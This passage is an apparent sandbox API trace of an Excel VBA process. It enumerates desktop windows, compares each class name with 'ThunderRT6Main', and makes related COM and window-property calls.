[0115.778] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.778] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0115.778] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0115.778] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.778] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0115.778] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0115.778] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0115.778] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0115.778] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0115.778] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0115.778] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.778] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0115.778] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x61722d0 [0115.778] IMalloc:Free (This=0x7fefe465380, pv=0x61722d0) [0115.960] strncpy_s (in: _Dst=0x616ed50, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0115.960] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0115.960] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0115.960] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0115.960] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0115.961] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0115.961] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0115.961] IUnknown:Release (This=0x679bb90) returned 0x15 [0115.961] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0115.961] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0115.961] IUnknown:Release (This=0x5a48630) returned 0x12 [0115.961] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0115.962] IUnknown:AddRef (This=0x679c130) returned 0x9 [0115.962] IUnknown:Release (This=0x679c130) returned 0x8 [0115.962] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0115.962] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0115.962] IUnknown:Release (This=0x679c6d0) returned 0x6 [0118.602] GetCurrentThreadId () returned 0xa30 [0118.602] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0118.602] GetDesktopWindow () returned 0x10010 [0118.602] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0118.602] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0118.602] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0118.602] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.602] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0118.602] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.602] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.602] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.602] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0118.602] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.602] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.602] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.602] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0118.602] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.602] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.602] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0118.603] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.603] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0118.603] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.603] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0118.603] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.603] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0118.603] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.603] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0118.603] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0118.603] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0118.603] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0118.603] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0118.603] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.603] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0118.603] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0118.603] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.603] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0118.603] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0118.603] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0118.603] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.603] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0118.604] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.604] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0118.604] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0118.604] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0118.604] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0118.604] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0118.604] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.604] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.604] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0118.604] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.604] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.604] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0118.604] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.604] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.604] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0118.604] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.604] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.604] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0118.604] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.604] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.604] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0118.604] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0118.604] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.604] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0118.604] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0118.604] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.604] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0118.604] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0118.604] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0118.604] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0118.604] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.604] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.604] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.605] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0118.605] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0118.605] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0118.605] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0118.605] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0118.605] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0118.605] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0118.605] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0118.605] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.605] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.605] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0118.605] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0118.605] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0118.605] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0118.605] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.605] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0118.605] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0118.605] IsWindowEnabled (hWnd=0x302dc) returned 0 [0118.605] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0118.605] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0118.605] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0118.605] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0118.605] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0118.605] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0118.605] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0118.605] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.605] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0118.605] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0118.605] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0118.605] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0118.605] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.605] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.605] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.605] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0118.605] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0118.605] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0118.605] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0118.605] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.605] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.605] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.605] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0118.605] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0118.605] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0118.605] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0118.605] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.606] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.606] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.606] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0118.606] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0118.606] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0118.606] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0118.606] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.606] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.606] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.606] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0118.606] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0118.606] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0118.606] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0118.606] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0118.606] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0118.606] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.606] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0118.606] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0118.606] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.606] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.606] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0118.606] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0118.606] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0118.606] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0118.606] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.606] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0118.606] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0118.606] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0118.606] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0118.606] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0118.606] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0118.606] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.606] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0118.606] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0118.606] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0118.606] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0118.606] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0118.606] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0118.607] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.607] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0118.607] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0118.607] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0118.607] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0118.607] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.607] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.607] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.607] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0118.607] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0118.607] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0118.607] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0118.607] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.607] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.607] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.607] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0118.607] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0118.607] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0118.607] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0118.607] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.607] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.607] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.607] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0118.607] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0118.607] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0118.607] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0118.607] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.608] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.608] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.608] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0118.608] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0118.608] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0118.608] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0118.608] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0118.608] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0118.608] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.608] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0118.608] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0118.608] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0118.608] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0118.608] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0118.608] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0118.608] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0118.608] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0118.608] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0118.608] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0118.608] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.608] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0118.608] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0118.608] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0118.608] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0118.608] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.608] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0118.609] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0118.609] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0118.609] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0118.609] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0118.609] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0118.609] 